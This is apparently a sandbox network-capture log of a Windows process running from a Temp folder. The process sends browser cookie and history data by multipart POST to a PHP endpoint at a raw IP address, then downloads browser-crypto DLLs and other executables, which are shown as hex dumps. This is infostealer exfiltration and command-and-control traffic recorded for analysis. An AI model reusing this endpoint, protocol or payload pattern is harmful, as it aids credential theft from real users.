0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 26, 2024 00:07:27.781277895 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 26, 2024 00:07:27.785073042 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49753	92.255.57.88	80	7684	C:\Users\user\AppData\Local\Temp\795F.tmp.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 00:07:37.024200916 CET	618	OUT	POST /7bbacc20a3bd2eb5.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFHJDAEHIEHJJKFBGDA Host: 92.255.57.88 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 61 64 65 35 64 38 64 64 63 32 32 34 65 35 35 37 31 31 36 33 32 63 30 64 65 38 64 63 38 38 62 66 39 35 32 64 39 66 64 33 39 62 38 31 30 34 38 35 36 37 65 33 36 36 63 66 34 34 32 35 35 62 36 37 38 36 36 63 30 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="token"95ade5d8ddc224e55711632c0de8dc88bf952d9fd39b81048567e366cf44255b67866c03------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------KKFHJDAEHIEHJJKFBGDA--
Nov 26, 2024 00:07:38.465872049 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:07:38 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 00:07:38.626807928 CET	200	OUT	POST /7bbacc20a3bd2eb5.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIDBKFCAAEBFIDHDBAE Host: 92.255.57.88 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Nov 26, 2024 00:07:38.626844883 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 61 64 65 35 Data Ascii: ------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="token"95ade5d8ddc224e55711632c0de8dc88bf952d9fd39b81048567e366cf44255b67866c03------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Nov 26, 2024 00:07:39.261677980 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:07:38 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 00:07:39.283205986 CET	562	OUT	POST /7bbacc20a3bd2eb5.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJJJKEHCAKFBFHJKEHC Host: 92.255.57.88 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 61 64 65 35 64 38 64 64 63 32 32 34 65 35 35 37 31 31 36 33 32 63 30 64 65 38 64 63 38 38 62 66 39 35 32 64 39 66 64 33 39 62 38 31 30 34 38 35 36 37 65 33 36 36 63 66 34 34 32 35 35 62 36 37 38 36 36 63 30 33 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HJJJJKEHCAKFBFHJKEHCContent-Disposition: form-data; name="token"95ade5d8ddc224e55711632c0de8dc88bf952d9fd39b81048567e366cf44255b67866c03------HJJJJKEHCAKFBFHJKEHCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HJJJJKEHCAKFBFHJKEHCContent-Disposition: form-data; name="file"------HJJJJKEHCAKFBFHJKEHC--
Nov 26, 2024 00:07:39.748332024 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:07:39 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 00:07:40.203480005 CET	562	OUT	POST /7bbacc20a3bd2eb5.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKEHDBAEGIIIEBGCAAFH Host: 92.255.57.88 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 61 64 65 35 64 38 64 64 63 32 32 34 65 35 35 37 31 31 36 33 32 63 30 64 65 38 64 63 38 38 62 66 39 35 32 64 39 66 64 33 39 62 38 31 30 34 38 35 36 37 65 33 36 36 63 66 34 34 32 35 35 62 36 37 38 36 36 63 30 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="token"95ade5d8ddc224e55711632c0de8dc88bf952d9fd39b81048567e366cf44255b67866c03------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="file"------KKEHDBAEGIIIEBGCAAFH--
Nov 26, 2024 00:07:40.668162107 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:07:40 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 00:07:41.059114933 CET	91	OUT	GET /7550b1c08332241a/freebl3.dll HTTP/1.1 Host: 92.255.57.88 Cache-Control: no-cache
Nov 26, 2024 00:07:41.518743038 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:07:41 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 26, 2024 00:07:41.518759966 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 26, 2024 00:07:41.518769979 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 26, 2024 00:07:41.518805981 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 26, 2024 00:07:41.518816948 CET	896	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 26, 2024 00:07:41.518826008 CET	1236	IN	Data Raw: 10 ff 75 14 ff 75 10 53 56 ff d1 83 c4 10 31 c0 83 c4 04 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 50 68 0c 01 00 00 e8 fe f9 07 00 83 c4 04 31 ff 85 c0 74 71 89 c6 8b 5d 08 c7 40 08 01 00 00 00 8b 43 04 89 46 04 8b 03 89 45 f0 8b 43 04 8b 48 Data Ascii: uuSV1^_[]USWVPh1tq]@CFECHut7FKSrQP;KqSPVi^_[]UhV1]Uh6]
Nov 26, 2024 00:07:41.518836975 CET	1236	IN	Data Raw: 83 fe 02 0f 84 e8 00 00 00 8b 45 ec 04 03 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 02 32 14 0f 8b 4d e4 88 51 02 83 fe 03 0f 84 ac 00 00 00 8b 45 ec 04 04 0f b6 c8 8b 7d f0 8a 14 Data Ascii: E}$7$7u]S2MQE}$7$7u]S2MQttE}$7$7u]S2MQt<E}$7$7u]S2]S
Nov 26, 2024 00:07:41.527002096 CET	1236	IN	Data Raw: d2 f6 c2 01 0f 84 9b 00 00 00 66 0f 6f 1d d0 20 08 10 66 0f fe d8 0b 75 cc 8b 45 10 66 0f 6e 2c 30 66 0f 6e 64 30 04 66 0f ef f6 66 0f 60 ee 66 0f 61 ee 66 0f 60 e6 66 0f 61 e6 66 0f 72 f0 17 66 0f 6f 35 e0 20 08 10 66 0f fe c6 f3 0f 5b c0 66 0f Data Ascii: fo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU9UEuUM}]?uu]}
Nov 26, 2024 00:07:41.527144909 CET	1236	IN	Data Raw: 07 88 0c 37 00 cd 8b 45 10 8a 40 06 0f b6 cd 32 04 0f 88 43 06 8b 4d ec e9 2e f7 ff ff cc cc cc 55 89 e5 53 57 56 81 ec 5c 01 00 00 89 8d dc fe ff ff 8b 32 89 95 74 ff ff ff 89 b5 f4 fe ff ff 8b 01 89 85 9c fe ff ff 89 c7 01 f7 8b 52 04 89 95 f8 Data Ascii: 7E@2CM.USWV\2tRAA q$]QD1A@1RQP5}gjM31tQIU]U1P
Nov 26, 2024 00:07:41.535371065 CET	1236	IN	Data Raw: ff ff ff 11 f3 89 f8 01 d0 89 d7 89 45 b4 11 cb 89 5d c8 8b b5 64 ff ff ff 31 de 8b 5d 94 31 c3 89 da 0f a4 f2 10 89 55 b0 0f ac f3 10 89 5d 94 8b 75 ec 01 de 89 75 ec 8b 45 e0 11 d0 89 45 e0 31 c1 31 f7 89 c8 0f a4 f8 01 89 45 8c 0f a4 cf 01 89 Data Ascii: E]d1]1U]uuEE11E}tBP`MBTD]HM}]u1uP1Euu11}tOX EO\H}EE}1M1
Nov 26, 2024 00:07:43.069031000 CET	91	OUT	GET /7550b1c08332241a/mozglue.dll HTTP/1.1 Host: 92.255.57.88 Cache-Control: no-cache
Nov 26, 2024 00:07:43.528493881 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:07:43 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 26, 2024 00:07:44.433902025 CET	92	OUT	GET /7550b1c08332241a/msvcp140.dll HTTP/1.1 Host: 92.255.57.88 Cache-Control: no-cache
Nov 26, 2024 00:07:44.893978119 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:07:44 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 26, 2024 00:07:45.578547001 CET	88	OUT	GET /7550b1c08332241a/nss3.dll HTTP/1.1 Host: 92.255.57.88 Cache-Control: no-cache
Nov 26, 2024 00:07:46.039112091 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:07:45 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 26, 2024 00:07:49.312567949 CET	92	OUT	GET /7550b1c08332241a/softokn3.dll HTTP/1.1 Host: 92.255.57.88 Cache-Control: no-cache
Nov 26, 2024 00:07:49.780438900 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:07:49 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 26, 2024 00:07:50.466610909 CET	96	OUT	GET /7550b1c08332241a/vcruntime140.dll HTTP/1.1 Host: 92.255.57.88 Cache-Control: no-cache
Nov 26, 2024 00:07:50.927781105 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:07:50 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text 